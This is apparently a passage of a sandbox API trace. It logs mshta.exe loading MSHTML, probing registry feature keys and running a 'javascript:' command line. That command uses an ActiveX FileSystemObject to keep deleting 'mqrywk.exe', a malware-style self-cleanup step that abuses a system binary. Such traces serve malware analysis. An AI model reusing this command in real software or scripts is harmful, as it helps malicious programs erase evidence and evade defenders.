| out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.020] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.021] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.021] RegCloseKey (hKey=0x0) returned 0x6 [0030.021] RegCloseKey (hKey=0x0) returned 0x6 [0030.021] RegCloseKey (hKey=0x98) returned 0x0 [0030.021] RegCloseKey (hKey=0x94) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.021] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.021] RegCloseKey (hKey=0x0) returned 0x6 [0030.021] RegCloseKey (hKey=0x0) returned 0x6 [0030.021] RegCloseKey (hKey=0x94) returned 0x0 [0030.021] RegCloseKey (hKey=0x98) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.021] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.022] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.022] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.022] RegCloseKey (hKey=0x0) returned 0x6 [0030.022] RegCloseKey (hKey=0x0) returned 0x6 [0030.022] RegCloseKey (hKey=0x98) returned 0x0 [0030.022] RegCloseKey (hKey=0x94) returned 0x0 [0030.022] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0030.022] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.022] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.022] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.022] RegCloseKey (hKey=0x0) returned 0x6 [0030.022] RegCloseKey (hKey=0x0) returned 0x6 [0030.022] RegCloseKey (hKey=0x94) returned 0x0 [0030.022] RegCloseKey (hKey=0x98) returned 0x0 [0030.022] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.023] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.023] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.023] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.023] RegCloseKey (hKey=0x0) returned 0x6 [0030.023] RegCloseKey (hKey=0x0) returned 0x6 [0030.023] RegCloseKey (hKey=0x98) returned 0x0 [0030.023] RegCloseKey (hKey=0x94) returned 0x0 [0030.023] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0030.024] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.024] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x9c) returned 0x0 [0030.024] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.024] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.024] RegCloseKey (hKey=0x0) returned 0x6 [0030.025] RegCloseKey (hKey=0x0) returned 0x6 [0030.025] RegCloseKey (hKey=0x98) returned 0x0 [0030.025] RegCloseKey (hKey=0x9c) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x9c) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.025] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.025] RegCloseKey (hKey=0x0) returned 0x6 [0030.025] RegCloseKey (hKey=0x0) returned 0x6 [0030.025] RegCloseKey (hKey=0x9c) returned 0x0 [0030.025] RegCloseKey (hKey=0x98) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x9c) returned 0x0 [0030.025] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.025] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.026] RegCloseKey (hKey=0x0) returned 0x6 [0030.026] RegCloseKey (hKey=0x0) returned 0x6 [0030.026] RegCloseKey (hKey=0x98) returned 0x0 [0030.026] RegCloseKey (hKey=0x9c) returned 0x0 [0030.026] GetSystemMetrics (nIndex=68) returned 4 [0030.026] GetSystemMetrics (nIndex=69) returned 4 [0030.026] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0030.026] GetSystemDefaultLCID () returned 0x409 [0030.026] GetVersionExW (in: lpVersionInformation=0x40f554*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7734e36c, dwMinorVersion=0x7734e0d2, dwBuildNumber=0x7388afd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40f554*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.027] GetUserDefaultUILanguage () returned 0x409 [0030.027] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x40f4a4, cchData=16 | out: lpLCData="\x03") returned 16 [0030.027] GetKeyboardLayoutList (in: nBuff=32, lpList=0x40f4d4 | out: lpList=0x40f4d4) returned 1 [0030.028] GetSystemMetrics (nIndex=4096) returned 0 [0030.028] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f8 | out: phkResult=0x40f5f8*=0x9c) returned 0x0 [0030.028] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5fc | out: phkResult=0x40f5fc*=0x98) returned 0x0 [0030.028] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b8 | out: phkResult=0x40f5b8*=0x0) returned 0x2 [0030.028] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b8 | out: phkResult=0x40f5b8*=0x0) returned 0x2 [0030.028] RegCloseKey (hKey=0x0) returned 0x6 [0030.028] RegCloseKey (hKey=0x0) returned 0x6 [0030.028] RegCloseKey (hKey=0x9c) returned 0x0 [0030.028] RegCloseKey (hKey=0x98) returned 0x0 [0030.028] GetModuleFileNameW (in: hModule=0x73350000, lpFilename=0x40f460, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e [0030.028] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x3e) returned 0x763de0 [0030.028] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0030.028] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0030.028] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0030.028] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0030.028] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0030.028] RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc16c [0030.028] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc052 [0030.029] GetDC (hWnd=0x0) returned 0x12010a1c [0030.029] SHCreateShellPalette (hdc=0x0) returned 0xc080a1d [0030.029] GetPaletteEntries (in: hpal=0xc080a1d, iStart=0x0, cEntries=0x100, pPalEntries=0x7388a494 | out: pPalEntries=0x7388a494) returned 0x100 [0030.029] SHGetInverseCMAP (in: pbMap=0x73888a7c, cbMap=0x4 | out: pbMap=0x73888a7c) returned 0x0 [0030.029] GetDeviceCaps (hdc=0x12010a1c, index=38) returned 32409 [0030.029] ReleaseDC (hWnd=0x0, hDC=0x12010a1c) returned 1 [0030.029] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20a) returned 0x76ea78 [0030.029] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x2000) returned 0x76f490 [0030.030] GetCurrentProcessId () returned 0x940 [0030.030] _vsnprintf (in: _DstBuf=0x40f9a4, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x40f66c | out: _DstBuf="#MSHTML#PERF#00000940") returned 21 [0030.030] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#00000940") returned 0x0 [0030.030] GetVersionExW (in: lpVersionInformation=0x40f688*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7536d0, dwMinorVersion=0x100, dwBuildNumber=0x76dc78, dwPlatformId=0x750000, szCSDVersion="A") | out: lpVersionInformation=0x40f688*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.030] GetModuleHandleW (lpModuleName="advapi32") returned 0x754b0000 [0030.030] GetProcAddress (hModule=0x754b0000, lpProcName="EventWrite") returned 0x77380c59 [0030.030] GetProcAddress (hModule=0x754b0000, lpProcName="EventRegister") returned 0x7735f6ba [0030.030] GetProcAddress (hModule=0x754b0000, lpProcName="EventUnregister") returned 0x77379241 [0030.030] EtwEventRegister () returned 0x0 [0030.030] EtwRegisterTraceGuidsW () returned 0x0 [0030.031] EtwRegisterTraceGuidsW () returned 0x0 [0030.031] EtwEventRegister () returned 0x0 [0030.033] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll", lpdwHandle=0x40f454 | out: lpdwHandle=0x40f454) returned 0x0 [0030.033] GetModuleHandleW (lpModuleName=0x0) returned 0xd80000 [0030.033] GetModuleFileNameW (in: hModule=0xd80000, lpFilename=0x40f460, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.033] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0030.037] GetCurrentProcessId () returned 0x940 [0030.037] GetCurrentProcessId () returned 0x940 [0030.039] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xbc [0030.039] GetLastError () returned 0x0 [0030.058] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0x100 [0030.058] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x150000 [0030.059] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x551e88 | out: hHeap=0x550000) returned 1 [0030.059] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x550e78 | out: hHeap=0x550000) returned 1 [0030.059] RegCloseKey (hKey=0x42) returned 0x0 [0030.060] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0030.060] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterApplicationRestart") returned 0x76e4b53c [0030.060] lstrlenA (lpString="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") returned 141 [0030.060] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x11c) returned 0x551e88 [0030.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x752b42, cbMultiByte=-1, lpWideCharStr=0x551e88, cchWideChar=142 | out: lpWideCharStr="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") returned 142 [0030.060] RegisterApplicationRestart (pwzCommandline="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"", dwFlags=0x0) returned 0x0 [0030.060] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x551e88 | out: hHeap=0x550000) returned 1 [0030.060] GetProcAddress (hModule=0x73350000, lpProcName="RunHTMLApplication") returned 0x733ae710 [0030.122] GetCommandLineW () returned="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" [0030.127] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x120) returned 0x773eb8 [0030.127] OleInitialize (pvReserved=0x0) returned 0x0 [0030.139] IsWindow (hWnd=0x0) returned 0 [0030.139] RegisterClassW (lpWndClass=0x40fd0c) returned 0xc113 [0030.139] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xd80000, lpParam=0x73889680) returned 0x50134 [0030.139] NtdllDefWindowProc_W () returned 0x0 [0030.140] NtdllDefWindowProc_W () returned 0x1 [0030.140] NtdllDefWindowProc_W () returned 0x0 [0030.317] NtdllDefWindowProc_W () returned 0x0 [0030.318] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x50134, hMenu=0x0, hInstance=0xd80000, lpParam=0x73889680) returned 0x30270 [0030.318] NtdllDefWindowProc_W () returned 0x0 [0030.318] NtdllDefWindowProc_W () returned 0x1 [0030.318] NtdllDefWindowProc_W () returned 0x0 [0030.320] NtdllDefWindowProc_W () returned 0x0 [0030.320] SetWindowLongW (hWnd=0x30270, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.324] NtdllDefWindowProc_W () returned 0x0 [0030.325] SetWindowPos (hWnd=0x30270, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0030.325] NtdllDefWindowProc_W () returned 0x0 [0030.325] NtdllDefWindowProc_W () returned 0x0 [0030.325] NtdllDefWindowProc_W () returned 0x0 [0030.325] NtdllDefWindowProc_W () returned 0x0 [0030.326] NtdllDefWindowProc_W () returned 0x0 [0030.326] SendMessageW (hWnd=0x30270, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0030.326] NtdllDefWindowProc_W () returned 0x0 [0030.326] NtdllDefWindowProc_W () returned 0x0 [0030.327] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x120) returned 0x77b498 [0030.327] PathRemoveArgsW (in: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") [0030.327] PathRemoveBlanksW (in: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") [0030.327] PathUnquoteSpacesW (in: lpsz="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" | out: lpsz="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 1 [0030.327] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppmk=0x40fd6c*=0x0, dwFlags=0x1 | out: ppmk=0x40fd6c*=0x77ad18) returned 0x0 [0030.339] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b498 | out: hHeap=0x750000) returned 1 [0030.339] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b788 [0030.339] CoCreateInstance (in: rclsid=0x73489770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7350b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x738896d4 | out: ppv=0x738896d4*=0x783f90) returned 0x0 [0030.340] DllGetClassObject (in: rclsid=0x781a28*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f024 | out: ppv=0x40f024*=0x73888cb0) returned 0x0 [0030.340] IClassFactory:CreateInstance (in: This=0x73888cb0, pUnkOuter=0x0, riid=0x40f9d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40f010 | out: ppvObject=0x40f010*=0x783f90) returned 0x0 [0030.340] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x2a8) returned 0x783370 [0030.343] GetCurrentThreadId () returned 0x10c [0030.356] RegisterClassExW (param_1=0x40eebc) returned 0xc055 [0030.356] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc055, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x73350000, lpParam=0x0) returned 0x3026c [0030.361] GetWindowLongW (hWnd=0x3026c, nIndex=-20) returned 0 [0030.361] NtdllDefWindowProc_W () returned 0x1 [0030.361] NtdllDefWindowProc_W () returned 0x0 [0030.361] NtdllDefWindowProc_W () returned 0x0 [0030.376] NtdllDefWindowProc_W () returned 0x0 [0030.376] NtdllDefWindowProc_W () returned 0x0 [0030.376] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b7a0 [0030.376] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b7b8 [0030.388] CreateCompatibleDC (hdc=0x0) returned 0x61010818 [0030.388] GetDeviceCaps (hdc=0x61010818, index=90) returned 96 [0030.388] GetDeviceCaps (hdc=0x61010818, index=88) returned 96 [0030.388] GetSystemMetrics (nIndex=68) returned 4 [0030.388] GetSystemMetrics (nIndex=69) returned 4 [0030.388] GetSystemMetrics (nIndex=2) returned 17 [0030.389] GetSystemMetrics (nIndex=3) returned 17 [0030.389] GetStockObject (i=13) returned 0x18a002e [0030.389] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x18a002e [0030.389] GetTextMetricsW (in: hdc=0x61010818, lptm=0x40ef54 | out: lptm=0x40ef54) returned 1 [0030.389] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x18a002e [0030.389] DeleteObject (ho=0x18a002e) returned 1 [0030.389] GetSystemDefaultLCID () returned 0x409 [0030.389] GetUserDefaultLCID () returned 0x409 [0030.389] GetACP () returned 0x4e4 [0030.389] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x40eec8, cchData=41 | out: lpLCData="1") returned 2 [0030.389] _wtoi (_String="1") returned 1 [0030.389] RegCloseKey (hKey=0x0) returned 0x6 [0030.389] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x40ef1c, cchData=16 | out: lpLCData="0123456789") returned 11 [0030.389] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388b038, fWinIni=0x0 | out: pvParam=0x7388b038) returned 1 [0030.389] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x40ef90, fWinIni=0x0 | out: pvParam=0x40ef90) returned 1 [0030.389] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc0) returned 0x783728 [0030.389] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b7d0 [0030.389] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa4) returned 0x7837f0 [0030.389] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7734b8 [0030.389] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x1c) returned 0x77fb40 [0030.390] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x7691d0 [0030.390] GetSystemWindowsDirectoryW (in: lpBuffer=0x40ed9c, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0030.390] lstrlenW (lpString="C:\\Windows") returned 10 [0030.390] lstrlenW (lpString="\\WindowsShell.manifest") returned 22 [0030.390] CreateActCtxW (pActCtx=0x40ed78) returned 0x7838a4 [0030.391] ActivateActCtx (in: hActCtx=0x7838a4, lpCookie=0x40ed48 | out: hActCtx=0x7838a4, lpCookie=0x40ed48) returned 1 [0030.391] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x743d0000 [0030.395] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1a7c0001) returned 1 [0030.395] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0030.395] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0030.395] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0030.395] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0030.396] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x40e9a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.396] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40ebb0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.396] GetCurrentProcess () returned 0xffffffff [0030.396] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x40edb8, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9 [0030.396] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0030.396] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7734d8 [0030.396] FindAtomW (lpString="TridentEnableHiRes") returned 0x0 [0030.396] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x40e994, pvData=0x40e9a0, pcbData=0x40e99c*=0x4 | out: pdwType=0x40e994*=0x0, pvData=0x40e9a0, pcbData=0x40e99c*=0x4) returned 0x2 [0030.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, 